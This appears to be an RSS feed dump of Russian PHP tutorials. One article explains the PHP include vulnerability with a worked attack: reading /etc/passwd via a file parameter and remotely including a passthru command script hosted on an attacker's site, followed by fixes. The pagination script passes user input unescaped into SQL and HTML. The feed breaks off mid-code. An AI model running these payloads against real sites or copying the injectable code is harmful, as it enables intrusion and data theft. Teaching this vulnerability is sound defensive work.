Перед тем как приступить к написанию самого скрипта, хочу сказать, что в PHP функции работы с XML пока реализованы экспериментально (правда, в версии 5.0 на XML сделана особая ставка, вот только версия эта пока еще находится в состоянии беты, следовательно, переходить на нее пока еще не стоит). Это значит, что приведенные скрипты могут не работать при наличии других версий PHP, не соответствующих указанной. К тому же мои скрипты далеки от совершенства в плане производительности и красоты написания. Поэтому не нужно заваливать мой бедный почтовый ящик гневными письмами. Мое дело, как автора, — натолкнуть вас на мысль, а реализация этой мысли остается исключительно за вами.<br />
<br />
PHP поддерживает два модуля, осуществляющие XML-парсинг. Первый называется SAX (Simple API for XML). В силу сложности и ограниченной функциональности (с помощью SAX невозможно записать данные в XML-файл — он поддерживает только чтение), этот интерфейс нами сегодня рассматриваться не будет. Второй модуль представляет гораздо больший интерес с точки зрения разработчика, так как позволяет более наглядно работать с XML-файлом, причем поддерживаются операции и чтения, и записи. Называется он DOM (Document Object Module) и реализуется в PHP следующим образом.<br />
<br />
С помощью функции domxml_open_file, вызываемой с именем XML-файла в качестве параметра (в нашем случае — guest.xml), все дерево XML-элементов из файла загружается в память компьютера-сервера (в переменную). Это значит, что никакие изменения, произведенные с открытым файлом, не вступят в силу до его принудительной записи на диск. Эта технология очень удобна, так как позволяет десять раз перепроверить корректность произведенных над файлом действий перед тем как окончательно его сохранить. Вообще, корректности в формате XML уделено огромное внимание, что не может не сказаться на его реализациях в языках программирования.<br />
<br />
В XML-файле, как уже было сказано, может существовать только один корневой элемент. Корневой элемент можно получить, используя функцию document_element(), вызываемую без параметров и возвращающую объект. В полученном объекте хранятся все дочерние элементы (тэги &lt;message&gt;), которые мы можем получить, вызвав функцию child_nodes(), возвращающую массив дочерних тэгов. Теперь, пройдясь по полученному массиву циклом foreach, можно получить атрибуты каждого из дочерних элементов (функция get_attribute(), вызываемая с именем атрибута в качестве параметра) и содержимое этих элементов (функция get_content() без параметров). Каждый элемент, дочерний для корневого, может быть корневым для вложенных элементов, если таковые имеются. В таком случае их можно также получить во вложенном цикле foreach, пройдясь им по элементу верхнего уровня.<br />
<br />
Для нашей гостевой книги скрипт чтения сообщений будет выглядеть следующим образом:<br />
<br />
// открытие XML-файла<br />
$xml = domxml_open_file('guest.xml');<br />
<br />
// получение корневого элемента<br />
$root = $xml-&gt;document_element();<br />
// получение массива вложенных тэгов (потомков)<br />
$nodes = $root-&gt;child_nodes();<br />
<br />
foreach($nodes as $node) {<br />
// если имя потомка соответствует необходимому...<br />
if ($node-&gt;node_name() == 'message') {<br />
// ...заполняем именованный массив текущего сообщения данными из файла...<br />
$currentMessage['date'] = $node-&gt;get_attribute('date');<br />
$currentMessage['time'] = $node-&gt;get_attribute('time');<br />
$currentMessage['author'] = $node-&gt;get_attribute('author');<br />
$currentMessage['email'] = $node-&gt;get_attribute('email');<br />
$currentMessage['subject'] = $node-&gt;get_attribute('subject');<br />
$currentMessage['content'] = $node-&gt;get_content();<br />
// ... и добавляем заполненный элемент в массив<br />
$messages[] = $currentMessage;<br />
}<br />
}<br />
<br />
После выполнения скрипта мы получаем заполненный массив $messages, пройдясь по которому в цикле foreach, мы запросто получаем сообщения и выводим их в тело страницы:<br />
<br />
foreach($messages as $item) {<br />
echo $item['date'];<br />
echo $item['time'];<br />
echo utf8_decode($item['author']);<br />
echo $item['email'];<br />
echo utf8_decode($item['subject']);<br />
echo utf8_decode($item['content']);<br />
}<br />
<br />
В результате выполнения скрипта на страничку в одну строчку выведутся все сообщения из гостевой книги. Я намеренно не делаю никакого оформления (например, можно было бы вывести все сообщения в таблице, разделив все поля и сделав сообщение удобочитаемым), так как статья в этом случае растянется на десяток номеров. Еще раз повторю, что моя задача — натолкнуть вас на идею. Все остальное — дело вашего личного вкуса и предпочтений. Рабочий вариант гостевой вы можете посмотреть по адресу http://www.cosmic.net.ua/gb.<br />
<br />
Как я уже говорил, модель DOM позволяет не только читать данные из XML-файла, но и записывать их, добавляя новые элементы или атрибуты. Для того чтобы записать данные, нужно снова открыть XML-файл с помощью функции domxml_open_file и получить корневой элемент дерева (функция document_element()). Далее, с помощью функции new_child() в конце множества имеющихся дочерних тэгов создаем новый дочерний элемент. Функция принимает два параметра — название элемента и собственно его содержимое. Атрибуты дочернего тэга &lt;message&gt; устанавливаются при помощи функции set_attribute(), в качестве параметров принимающей название атрибута и его значение.<br />
<br />
Так как мы записываем сообщения гостевой книги, мы их должны сначала получить из массива $_GET или $_POST, в который они должны быть переданы из формы (если вы не знаете, как это делается, можете прочесть об этом в моих предыдущих статьях). Из полученных данных мы готовим именованный массив атрибутов, которые в будущем будут записаны в тэг &lt;message&gt;:<br />
<br />
$msgToAdd = array(<br />
'date' =&gt; date(&quot;d.m.y&quot;),<br />
'time' =&gt; date(&quot;H:i:s&quot;),<br />
'author' =&gt; utf8_encode($author),<br />
'email' =&gt; $email,<br />
'subject' =&gt; utf8_encode($subject)<br />
)<br />
<br />
Как видите, перед записью переменных $author и $subject (а в будущем и тела сообщения), мы перекодируем их в кодировку UTF-8. Это делается по той причине, что на данном этапе PHP, к сожалению, не поддерживает кодировку Windows-1251 в XML-файлах. Это значит, что при попытке записать сообщение на русском языке скрипт будет выдавать ошибку. Поэтому приходится кодировать символы в промежуточную кодировку (функция utf8_encode), а потом при чтении их декодировать (функция utf8_decode). Весь скрипт записи нового сообщения примет примерно следующий вид:<br />
<br />
$xml = domxml_open_file('guest.xml');<br />
$root = $xml-&gt;document_element();<br />
<br />
// $message — тело сообщения из массива $_GET или $_POST<br />
$msgNode = $root-&gt;new_child('message',utf8_encode($message));<br />
<br />
$msgNode-&gt;set_attribute('date',$msgToAdd['date']);<br />
$msgNode-&gt;set_attribute('time',$msgToAdd['time']);<br />
$msgNode-&gt;set_attribute('author',$msgToAdd['author']);<br />
$msgNode-&gt;set_attribute('email',$msgToAdd['email']);<br />
$msgNode-&gt;set_attribute('subject',$msgToAdd['subject']);<br />
<br />
$text = $xml-&gt;dump_mem();<br />
$fp = fopen('guest.xml','w');<br />
fwrite($fp,$text);<br />
fclose($fp);<br />
<br />
Здесь появляется новая функция dump_mem(), скидывающая все содержимое памяти в переменную $text, которая в дальнейшем записывается на диск стандартными операторами записи. Как видите, все элементарно просто, безопасно и корректно — пока вы не убедитесь, что все операторы выполнены корректно, ваш файл не будет записан и, следовательно, увеличивается надежность хранения данных и уменьшается вероятность их потери.<br />
<br />
В заключение поговорим о возможных областях применения рассмотренных технологий. XML, несмотря на свою универсальность, все же не является панацеей, поэтому не стоит сразу все бросать и переходить на использование нового формата, не убедившись в его стопроцентной необходимости. XML может выручить, например, если заранее неизвестно, каким клиентом будут обрабатываться данные (будь то интернет-браузер или совершенно самостоятельный клиент, написанный сторонними разработчиками). Очень удобно делать развязку между данными и оформлением, строя шаблоны своих страниц на выборках из XML-файлов. Еще удобнее делать сайты на нескольких языках, используя встроенные средства XML для организации мультиязычного интерфейса.<br />
<br />
Так что как всегда выбор остается за вами, уважаемые читатели.<br />
<br />
Удачи!]]></description>
			<pubDate>Sat, 27 Apr 2013 18:57:48 +0300</pubDate>
			<link><![CDATA[http://shelek.com/view/web/478]]></link>
		</item>
		<item>
			<title>PHP include уязвимость: от теории к практике</title>
			<description><![CDATA[В этой статье я расскажу вам об одной из самых распространённых уязвимостей, встречающихся в php-сценариях - include &quot;баге&quot;. Вы узнаете как принцип действия, так и некоторые способы устранения данной уязвимости.<br />
<br />
Внимание!!! Вся информация представленная в данной статье служит чисто в ознакомительных целях! Автор не несёт никакой ответственности за её злонамеренное применение!<br />
<br />
Теория<br />
<br />
Уязвимость php - include одна из самых известных, но между тем и самых распространённых &quot;дыр&quot; встречающихся сегодня в php сценариях. Она возникает, когда по невнимательности, незнанию, либо по какой-то другой ведомой только ему одному причине, программист позволяет использовать данные, переданные сценарию в виде параметров, без дополнительной проверки (такие данные ещё называют &quot;мечеными&quot;) в качестве параметра функцией include. Для того, чтобы лучше разобраться в принципе действия данной уязвимости, необходимо иметь некоторое представление о вышеназванной функции.<br />
<br />
php функция include, а также include_once<br />
<br />
Данная функция используется для подключения к запущенному php сценарию дополнительных программных модулей. Причём, в отличие от похожей по свойствам require, функция include исполняет эти модули непосредственно в своём процессе. А следовательно, прикрепляемые таким образом модули будут исполняться не как отдельные сценарии, а как части подключившего их к себе сценария. Точнее, include будет исполнять только ту часть файла, которая заключена между спец. тэгами:<br />
<br />
&quot;&lt;?php&quot; или &quot;&lt;?&quot;<br />
&quot;?&gt;&quot;<br />
<br />
Всё остальное php просто выдаёт в виде текста. Т.е. если подключить текстовый файл (например: /etc/passwd :) ) не содержащий указанных тэгов, всё содержимое этого файла будет выдано интерпретатором.<br />
<br />
Пример вызова:<br />
include($file);<br />
<br />
Как вы наверное заметили, функция include имеет всего 1 параметр ($file), который указывает путь и имя файла подключаемого модуля. Стоит отметить также, что в юниксоподобных системах (в зависимости от настроек php) в качестве параметра можно передавать не только путь и имя файла, но и url (Интернет адрес) файла(!!!).<br />
<br />
Практика<br />
<br />
Предположим, на некотором ВЕБ-сервере установлен следующий php сценарий (его url http://www.superpupersite.com/index.php):<br />
<br />
&lt;?php<br />
include($http_get_vars[&quot;file&quot;]);<br />
?&gt;<br />
<br />
А также множество различных подключаемых сценариев-модулей для него:<br />
<br />
home.php<br />
feedback.php<br />
...<br />
<br />
Автор этого сценария предполагал, что все посетители сайта будут мирно переходить от одной страницы к другой нажимая кнопочки, ссылочки и прочие объекты управления. А сценарий, в зависимости от переданного параметра file, будет присоединять один или другой модуль, таким образом генерируя различные html страницы (чаще всего include используют именно таким образом).<br />
<br />
Примеры запросов:<br />
<br />
http://www.superpupersite.com/index.php?file=home.php<br />
http://www.superpupersite.com/index.php?file=feedback.php<br />
<br />
Он даже представить себе не мог, что однажды (в студёную зимнюю пору) на сайт забредёт некий любознательный Вася Пупкин. Который, исходя из своей любознательности рассматривая эти самые ссылки, предположил бы (пока он ещё не знает, как и что там на самом деле), что параметр file является не чем иным, как имя и путь к файлу и что сценарий использует функцию include (не удивительно, т.к. на сегодня include используется чуть ли не в каждом 3-ем скрипте). Вася тут же решил проверить своё предположение следующим образом:<br />
<br />
Сделал запрос вида: http://www.superpupersite.com/index.php?file=/etc/passwd<br />
На выходе получил содержимое файла passwd сервера<br />
П.С: Если на сервере в опциях php включен режим отладки, выявить подобную уязвимость не составляет особого труда по характерным сообщениям о ошибках (Вроде: &quot;failed opening 'filename' for inclusion...&quot;! Но в данном случае режим отладки был отключён (не всё коту масленица).<br />
<br />
&quot;Здорово! Вполне возможно что моё предположение по поводу include верно!&quot;-подумал Вася. А также Вася заметил, что сервер работает под управлением юниксподобной операционной системы (там присутствует файл /etc/passwd). Из этого всего он сделал вывод, что возможно удастся внедрить свой php модуль, чтобы последний выполнялся на стороне сервера. Теперь, для осуществления своих зловещих планов, В.Пупкину необходим доступ позволяющий добавлять и редактировать файлы на каком-нибудь ВЕБ-сервере. К счастью, на сегодняшний день получить медленный, бесплатный хостинг не составляет особых проблем и у нашего героя уже был припасён на такие неожиданные :) случаи жизни свой сайт http://pupkin.halava123.ru. Куда он предусмотрительно закачал сценарий следующего содержания:<br />
<br />
&lt;? passthru(&quot;ls -al&quot;); ?&gt;<br />
<br />
Незатейливый, надо сказать, скрипт, выводящий в окно браузера список файлов и каталогов в текущей директории (но для проверки наличия уязвимости его хватит :) ). Сценарий был размещён по адресу:<br />
<br />
http://pupkin.halava123.ru/cmd.txt<br />
<br />
Вася выполнил следующий запрос:<br />
<br />
http://www.superpupersite.com/index.php?file=http://pupkin.halava123.ru/cmd.txt<br />
<br />
И у него получилось! Как и задумывалось, в окне браузера он увидел список файлов и каталогов. Далее по нарастающей, &quot;дыра&quot; была обнаружена, и в ход пошли не менее интересные сценарии, подробное описание которых заняло бы немало места и по этим соображениям не публикуется здесь :) В общем, долго ли, коротко ли, но закончилось всё дефейсом (дефейс - подмена начальной страницы на свою). Вот такая грустная история!<br />
<br />
Борьба с вредителем<br />
<br />
Прочитав всё вышеописанное, многие из вас задаются вопросом : &quot;существуют ли методы борьбы с этой ужастной уязвимостью? &quot;. &quot;Да&quot; - гордо отвечау я :) . Вот некоторые (отнюдь не все) из них:<br />
<br />
Самый простой способ, с точки зрения программирования, это преобразовать переменную $module в числовой формат (settype($module,”integer”)), но при этом придётся пронумеровать модули, а также собрать их в один каталог (“module1.php”, ”module2.php” …”module&lt;n&gt;.php” ).<br />
<br />
Более сложный с точки зрения реализации метод борьбы с вредителями :) - это создание отдельного файла-списка модулей, которые возможно запустить. И в зависимости, находится ли тот или иной модуль в списке, выполнять либо выдавать соответствующую ошибку (или запускать модуль по умолчанию или если Вы, хотите напугать «экспериментатора» выдать сообщение о том, что его адрес зафиксирован и чтоб он сушил сухари...).<br />
Пример:<br />
<br />
switch ($case) // $case - имя переменной передаваемой в параметре к скрипту<br />
{<br />
case news:<br />
include(&quot;news.php&quot;);<br />
break;<br />
<br />
case articles:<br />
include(&quot;guestbook.php&quot;);<br />
break;<br />
<br />
... // и т.д.<br />
default:<br />
include(&quot;index.php&quot;); // если в переменной $case не будет передано значение, которое учтено выше, то открывается главная страница<br />
break;<br />
}<br />
<br />
Третий метод является промежуточным- что-то среднее между 1-ым и 2-ым. Вам просто надо заменить все служебные символы (&quot;..&quot;,&quot;/&quot;,&quot;&quot;) например, на прочерки. Правда, модули (там должны располагаться только выполняемые модули и ничего кроме них!!!) в этом случае должны располагаться в одном каталоге, но их названия могут быть нормальными словами (например “news”, ”guestbook” и т.д.).<br />
Заключение<br />
<br />
Вот в общем-то и всё, что я хотел рассказать вам в этот раз. Вывод из этого всего может быть такой: прежде чем используете данные полученные от пользователя в ваших web сценариях подумайте, а не надо ли их предварительно проверить и надлежащим образом обработать. Это касается не только полей данных формы передаваемых браузером (методы get и post), но и cookie (злоумышленник может добраться и до них).]]></description>
			<pubDate>Sat, 27 Apr 2013 18:57:24 +0300</pubDate>
			<link><![CDATA[http://shelek.com/view/web/477]]></link>
		</item>
		<item>
			<title>Как разбивать запрос на страницы (постраничный вывод данных)?</title>
			<description><![CDATA[Что такое разбивка на страницы? Самый простой пример - поисковые машины. Вы даете команду на поиск в ответ на что сервер выдает тысячи ссылок (и прочая информация типа названия страницы, даты, и пр.). Но находится данная информация не на одной странице. Она разбита на части. В этом примере вы научитеть разбивать результат поиска по базе данных на куски, чтобы организировать постарничный вывод.<br />
<br />
Создадим файл default.phtml, который содержит базовые фукнции. Вам надо подправить параметры (host/user/pass/base)<br />
<br />
&lt;?<br />
<br />
// Глобальная переменная. Например, нужна в функции коннекта.<br />
$sock=false;<br />
<br />
<br />
// новые функции<br />
function sql($a) { return mysql_query($a); }<br />
function sqlrows($a) { return @mysql_num_rows($a); }<br />
function sqlval($a,$b,$c) { return @mysql_result(mysql_query($a),$b,$c); }<br />
function sqlget($a) { return @mysql_fetch_array($a); }<br />
function sqlline($a) { return sqlget(sql($a)); }<br />
function sqllast() { return mysql_insert_id(); }<br />
<br />
<br />
// коннект к серверу<br />
function connect() {<br />
global $sock;<br />
<br />
$host=&quot;*****&quot;;<br />
$user=&quot;*****&quot;;<br />
$base=&quot;*****&quot;;<br />
$pass=&quot;*****&quot;;<br />
<br />
$sock=@mysql_connect($host,$user,$pass);<br />
if ( ! $sock || ! @mysql_select_db($base,$sock))<br />
die(&quot;Сервер временно не работает&quot;);<br />
<br />
unset($host);<br />
unset($user);<br />
unset($base);<br />
unset($pass);<br />
<br />
}<br />
<br />
// замена die()<br />
function xdie($zapros=&quot;&quot;, $info=&quot;&quot;) {<br />
die(&quot;&lt;/table&gt;&lt;/table&gt;&lt;/table&gt;&lt;/table&gt;&lt;hr&gt;&lt;h3&gt;************ $info ***********&lt;br&gt;&lt;br&gt;<br />
sql error..... n&quot;.mysql_errno().&quot;: &quot;.mysql_error().&quot;&lt;/h3&gt;&lt;pre&gt;$zapros&lt;/pre&gt;&lt;hr&gt;&quot;);<br />
}<br />
<br />
<br />
?&gt;<br />
<br />
данный файл (create.phtml) создаст таблицу limit_test и забьет в нее 500 строк<br />
вида из разных строк.<br />
<br />
&lt;?<br />
<br />
include(&quot;./default.phtml&quot;);<br />
<br />
connect();<br />
<br />
// удаляем таблицу (на всякий случай)<br />
sql(&quot;drop table limit_test&quot;);<br />
// создаем<br />
if (!sql(&quot;create table limit_test (id int, s char(100))&quot;))<br />
xdie(&quot;&quot;,&quot;Таблица не создана&quot;);<br />
<br />
srand(time());<br />
<br />
// создаем запрос вида &lt;&lt; ... values (x,&quot;xx&quot;), (y,&quot;yy&quot;), ... (z,&quot;zz&quot;) &gt;&gt;<br />
$s=&quot;insert into limit_test values &quot;;<br />
<br />
for ($i=0; $i&lt;500; $i++) {<br />
<br />
$s.=&quot;($i,&quot;&quot;;<br />
$x=rand(1,100);<br />
for ($j=0; $j&lt;$x; $j++) $s.=chr(rand(ord('a'),ord('z')));<br />
$s.=&quot;&quot;)&quot;;<br />
if ($i+1&lt;500) $s.=&quot;,&quot;;<br />
<br />
}<br />
<br />
// выполняем запрос, чтобы наполнить таблицу данными<br />
if (!sql($s)) xdie($s,&quot;Таблица не заполнена&quot;);<br />
<br />
?&gt;<br />
<br />
Собственно, сам файл (search.phtml), который выводит на экран форму для поиска и<br />
выводит найденные результаты по ?? штук на страницу.<br />
<br />
&lt;body bgcolor=black text=white link=#9999cc vlink=#cc9999&gt;&lt;font face=arial&gt;<br />
&lt;?<br />
<br />
include(&quot;./default.phtml&quot;);<br />
<br />
if (!isset($z)) $z=&quot;&quot;;<br />
if (isset($all)) $all=intval($all);<br />
if (isset($start)) $start=intval($start);<br />
if (isset($len)) $len=intval($len);<br />
else $len=10;<br />
<br />
echo &quot;&lt;form action=&quot;http://phpclub.chat.ru/mysql/%24php_self&quot; method=get&gt;<br />
&lt;input type=hidden name=z value=search&gt;<br />
Что ищем:<br />
&lt;input type=text name=s value='$s'&gt;<br />
Строк:<br />
&lt;input type=text name=len value='$len' size=5&gt;<br />
&amp;nbsp; &lt;input type=submit value=' search '&gt;&lt;br&gt;&lt;br&gt;<br />
Спец. символы:<br />
&lt;font color=#ff6666&gt;&lt;b&gt;&lt;big&gt;_&lt;/big&gt;&lt;/b&gt;&lt;/font&gt; - заменяет 1 любую букву,<br />
&lt;font color=#ff6666&gt;&lt;b&gt;&lt;big&gt;%&lt;/big&gt;&lt;/b&gt;&lt;/font&gt; - заменяет любую последовательность букв.<br />
Поиск '&lt;b&gt;%&lt;/b&gt;' - найдет все строки, поиск '&lt;b&gt;_&lt;/b&gt;' - только строки,<br />
состоящие из 1 символа. Если поискать 'a', то, скорее всего, ничего<br />
не будет найдено, однако строки '%a%' точно найдутся.&lt;br&gt;<br />
&lt;/form&gt;&quot;;<br />
<br />
switch ($z) {<br />
<br />
case &quot;search&quot;:<br />
<br />
connect();<br />
<br />
$query=&quot;select s from limit_test where s like '$s'&quot;;<br />
<br />
if (!isset($start)) {<br />
<br />
if (!( $res=sql($query) )) xdie($query,&quot;ошибка&quot;);<br />
$start=0;<br />
$all=sqlrows($res);<br />
<br />
} else {<br />
<br />
$query.=&quot; limit $start,$len&quot;;<br />
if (!( $res=sql($query) )) xdie($query,&quot;ошибка&quot;);<br />
<br />
}<br />
<br />
echo &quot;Запрос: &lt;font color=#00ff00&gt;$query&lt;/font&gt;&lt;br&gt;&lt;br&gt;&quot;;<br />
<br />
for ($j=1; $j&lt;=$len &amp;&amp; $tmp=sqlget($res); $j++) {<br />
echo ($start+$j).&quot;. $tmp&lt;br&gt;&quot;;<br />
$stop--;<br />
}<br />
<br />
echo &quot;&lt;br&gt;&quot;;<br />
for ($i=1; $i&lt;=floor($all/$len); $i++)<br />
echo &quot;&lt;a href=http://shelek.com/&quot;../../tppmsgs/msgs0.htm#123&quot; tppabs=&quot;http://phpclub.chat.ru/mysql/%24php_self?z=search&amp;all=$all&amp;len=$len&amp;&quot;.&quot;<br />
&quot;start=&quot;.(($i-1)*$len).&quot;&amp;s=&quot;.urlencode($s).&quot;&gt;$i&lt;/a&gt; &quot;;<br />
<br />
break;<br />
}<br />
<br />
<br />
?&gt;]]></description>
			<pubDate>Sat, 27 Apr 2013 18:57:03 +0300</pubDate>
			<link><![CDATA[http://shelek.com/view/web/476]]></link>
		</item>
		<item>
			<title>PHP и DNS. Проверка почтового адреса</title>
			<description><![CDATA[Функция getmxrr<br />
<br />
string getmxrr(string hostname, array mxhost, [, array weight])<br />
<br />
Эта функция принимает в качестве аргумента имя хоста<br />
hostname<br />
в данном домене и заполняет массив<br />
mxhost<br />
списком почтовых ретрансляторов этого домена. Если указан третий необязательный аргумент weight ,<br />
то функция заполняет его значениями предпочтения, которые возвращает ей почтовый ретранслятор<br />
<br />
Обычно когда требуется послать сообщения по адресу username@someserver.com,<br />
необходимо сначала узнать хост почтового ретранслятора для домена someserver.com, а затем получить его ip-адрес.<br />
После этого можно соединяться с хостом для доставки почты.<br />
В домене может быть несколько почтовых ретрансляторов с разными значениями предпочтения, поэтому,<br />
получив список ретрансляторов, имеет смысл устанавливать соединение с тем из них, который имеет максимальное значение предпочтения.<br />
<br />
В следующем листинге показан пример кода, с помощью которого можно получить список почтовых ретрансляторов:<br />
<br />
Получение списка почтовых ретрансляторов<br />
<br />
&lt;?<br />
$domain = &quot;server.com&quot;;<br />
getmxrr($domain, $maillist, $priority);<br />
echo(&quot;Список почтовых ретрансляторов хоста $domain: &lt;br&gt;n&quot;);<br />
for($i = 0; $i &lt; count($maillist), ++$i)<br />
{<br />
echo(&quot;$maillist[$i] = $priority[$i] &lt;br&gt;n&quot;);<br />
}<br />
?&gt;<br />
<br />
Проверка существования адреса электронной почты<br />
<br />
Заметим сразу, что речь идет не о проверке адресов с помощью регулярного выражения,<br />
а о проверке существования хоста почтового ретранслятора для некоторого домена.<br />
Т.е. приведенный выше код можно практически не перерабатывая приспособить для проверки существования e-mail адреса:<br />
<br />
&lt;?<br />
$email_arr = explode(&quot;@&quot; , $email);<br />
$host = $email_arr[1];<br />
<br />
if (!getmxrr($host, $mxhostsarr))<br />
{<br />
echo &quot;На адрес $email отправка почты невозможна&quot;;<br />
exit;<br />
}<br />
<br />
getmxrr($host, $mxhostsarr, $weight);<br />
echo &quot;На $email письма могут отправляться через следующие хосты:&lt;br&gt;&quot;;<br />
for ($i=0; $i &lt; count($mxhostsarr); $i++)<br />
{<br />
echo (&quot;$mxhostsarr[$i] = $weight[$i]&lt;br&gt;&quot;);<br />
}<br />
<br />
?&gt; растаможка]]></description>
			<pubDate>Sat, 27 Apr 2013 18:56:42 +0300</pubDate>
			<link><![CDATA[http://shelek.com/view/web/475]]></link>
		</item>
		<item>
			<title>Php блокировка</title>
			<description><![CDATA[Суть проблемы такова:<br />
Есть база данных, используемая на сайте (например, база для регистрации пользователей, куда записывается их имя и email), она лежит в текстовом файле построчно (в дальнейшем, &quot;file_base.dat&quot;.). Два пользователя активизируют сервер через командную строку в броузере, для ввода свох имен и email. Сервер отсылает их к скрипту. Оба пользователя &quot;начинают движение&quot; по скриптовому потоку (тексту php файла) сверху вниз, причем, Первый &quot;бежит&quot; на долю секунды быстрее Второго. Когда они достигают того места, где скрипт исполняет их запрос, движение по потоку останавливается, в их броузер выводится сгенерированная скриптом страница в виде html. Чтобы из file_base.dat прочитать данные, этот файл надо открыть на чтение (функция - @file), чтобы записать что-то в него, надо открыть на запись (функция - @fopen). В скрипте это выглядит так:<br />
<br />
&lt; ?<br />
……<br />
// читаем данные из файла-базы<br />
$f = @file (&quot;file_base.dat&quot;, &quot;r&quot;); // здесь находится 2 пользователь<br />
// здесь идет текст скрипта<br />
// открываем файл-базу на запись<br />
$fp = @fopen (&quot;file_base.dat&quot;, &quot;w&quot;); // здесь находится 1 пользователь<br />
// записываем в файл-базу данные из выше<br />
// прочитанного file_base.dat - переменная $f<br />
// и добавляем еще одну строку с данными нового пользователя<br />
// закрываем файл-базу<br />
@fclose ($fp);<br />
……<br />
? &gt;<br />
<br />
То есть, чтобы новый пользователь появился в нашей file_base.dat, мы считываем оттуда информацию, которую кладем в переменную $f, затем записываем в этот же файл эту переменную $f (при этом, file_base.dat переписываем полностью) и внизу дописываем еще одну строку с данными нашего нового пользователя. Мы видим, что на чтение и на запись file_base.dat открывается в разных местах нашего скрипта. Если оба пользователя, одновременно, достигли &quot;своего&quot; места в этом скрипте, но один из file_base.dat только начал читать данные, а другой уже их прочитал, продвинулся чуть ниже и, в этот момент, находится на отметке записи в файл file_base.dat своих данных. То, в этом случае, от нашего файла file_base.dat ничего не останется. В связи с этим, в php была введена функция совместного доступа @flock, которая призвана не допускать совместный доступ к файлу на чтение и запись.<br />
<br />
&lt; ?<br />
……<br />
// читаем данные из файла файла-базы<br />
$f = @file (&quot;file_base.dat&quot;, &quot;r&quot;); // здесь находится 2 пользователь<br />
// здесь идет текст скрипта<br />
// открываем файл-базу на запись<br />
$fp = @fopen (&quot;file_base.dat&quot;, &quot;w&quot;); // здесь находится 1 пользователь<br />
// блокируем файл-базу на чтение<br />
@flock ($fp, lock_ex)<br />
// записываем в файл-базу данные из выше<br />
// прочитанного file_base.dat - переменная $f<br />
// и добавляем еще одну строку с данными нового пользователя<br />
// снимаем блокировку<br />
@flock ($fp, lock_un)<br />
// закрываем файл-базу<br />
@fclose ($fp);<br />
……<br />
? &gt;<br />
<br />
Теперь, вроде бы все нормально, файл блокируется на чтение, когда в него что-то пишут. Но, что произойдет в нашем случае, когда, 1 пользователь прочитал данные файла и пришел к отметке открытия file_base.dat на запись, оркыл его и заблокировал на чтение функцией @flock, а 2 пользователь, именно в этот момент пришел к точке, где данные из файла считываются функцией @file? 2 пользователь ничего не прочитает из этого файла, потому что file_base.dat блокирован 1 пользователем командой @flock на чтение. 2 пользователь просто &quot;пробежит&quot; дальше по потоку скрипта ничего из файла file_base.dat не прочитав, то есть наша переменная $f будет пустой. Но, дальше-то он будет записывать в этот файл, то что ранее с него считал. В итоге, в наш file_base.dat запишется только одна строка с его именем и email. То есть, file_base.dat будет потерян.<br />
В связи с чем, была придумана функция: read_file<br />
<br />
function read_file($path)<br />
{<br />
if(!is_file($path)) {return false; }<br />
elseif(!filesize($path)) {return array(); }<br />
elseif($array=file($path)) {return $array; }<br />
else { while(!$array=file($path)){sleep(1);} return $array; }<br />
}<br />
<br />
Суть ее такова: пока файл блокирован на чтение, пользователь, который хочет считать из него информацию, находится в цикле, то есть, как бы &quot;стоит&quot; на месте, не &quot;бежит&quot; дальше по тексту скрипта, ожидая, когда файл разблокируется на чтение. В итоге наш скрипт принимает такой вид:<br />
<br />
&lt; ?<br />
function read_file($path)<br />
{<br />
if(!is_file($path)) {return false; }<br />
elseif(!filesize($path)) {return array(); }<br />
elseif($array=file($path)) {return $array; }<br />
else { while(!$array=file($path)){sleep(1);} return $array; }<br />
}<br />
……<br />
// проверяем заблокирован ли файл на чтение,<br />
// если заблокирован, назначаем цикл с остановкой,<br />
// пока блокировка не будет снята, после снятия блокировки,<br />
// читаем данные из файла файла-базы<br />
$f = read_file (&quot;file_base.dat&quot;, &quot;r&quot;); // здесь находится 2 пользователь<br />
// здесь идет текст скрипта<br />
// открываем файл-базу на запись<br />
$fp = @fopen (&quot;file_base.dat&quot;, &quot;w&quot;); // здесь находится 1 пользователь<br />
// блокируем файл-базу на чтение<br />
@flock ($fp, lock_ex)<br />
// записываем в файл-базу данные из выше<br />
// прочитанного file_base.dat - переменная $f<br />
// и добавляем еще одну строку с данными нового пользователя<br />
// снимаем блокировку<br />
@flock ($fp, lock_un)<br />
// закрываем файл-базу<br />
@fclose ($fp);<br />
……<br />
? &gt;<br />
<br />
Вроде бы все нормально. Когда 1 пользователь начал записывать свои данные в file_base.dat, 2 &quot;спит&quot; одну секунду, ожидая разблокировки file_base.dat, когда file_base.dat разблокирован, он считывает из него информацию и начинает движение дальше. Но, есть одно &quot;но&quot;. Если 2 пользователь чуть быстрее 1 пользователя &quot;добежал&quot; до &quot;своего&quot; места, прочитал половину данных из нашего file_base.dat, который еще не был блокирован, и, именно, в этот момент, 1 &quot;добежал&quot; по тексту скрипта до @flock ($fp, lock_ex), то есть заблокировал наш файл, то переменная $fp будет иметь только половину данных из нашего file_base.dat, потому что, именно, в этот момент file_base.dat был заблокирован. В итоге, в наш file_base.dat будет записана половина информации из нашей базы + одна сторка нового пользователя. То есть, опять, file_base.dat мы потеряли.<br />
<br />
Суть подхода, который предлагаем мы для решения этой проблемы такой:<br />
Во время считывания из файла или записи в него данных, на сайте появляется текстовая строка с названием этого файла, когда из файла информация прочиталась или записалась, эта текстовая строка удаляется. Пока она есть, значит кто-то уже использует базу данных на чтение или запись, пользователь, который хочет обратиться к этой базе на чтение или запись, находится в цикле, ожидая пока текстовая строка исчезнет. Как только она исчезает, он читает или пишет в базу данных, сам при этом создавая такую же текстовую строку, тем самым препятствуя доступу двух и более пользователей к базе.<br />
<br />
Для чего, на сайте создадим папку для хранения текстовых строк. Например, lock. Наш файл на сайте лежит в папке database, значит в папке lock надо создать папку database. Теперь, когда пользователь обращается к file_base.dat, для чтения или записи в него, абсолютный путь http://наш_сайт.ru/database/file_base.dat, в папке http://наш_сайт.ru/lock/database/ появляется файл-строка file_base.dat.tmp, абсолютный путь - http://наш_сайт.ru/lock/database/file_base.dat.tmp, закрывая доступ к file_base.dat, как только пользователь считал или записал информацию в наш файл-базу, текстовая строка file_base.dat.tmp удаляется, открывая доступ другим пользователям к file_base.dat.<br />
<br />
&lt; ?<br />
// объявляем директорию для временных файлов<br />
$lock_dir = &quot;lock&quot;;<br />
// функция для создания временных текстовых файлов<br />
function touchstring($file) {<br />
global $lock_dir;<br />
$tmp = &quot;$lock_dir/&quot;.$file.&quot;.tmp&quot;;<br />
while(1) {<br />
if (is_file($tmp))<br />
{<br />
while(file_exists($tmp))<br />
{<br />
$file_exist++;<br />
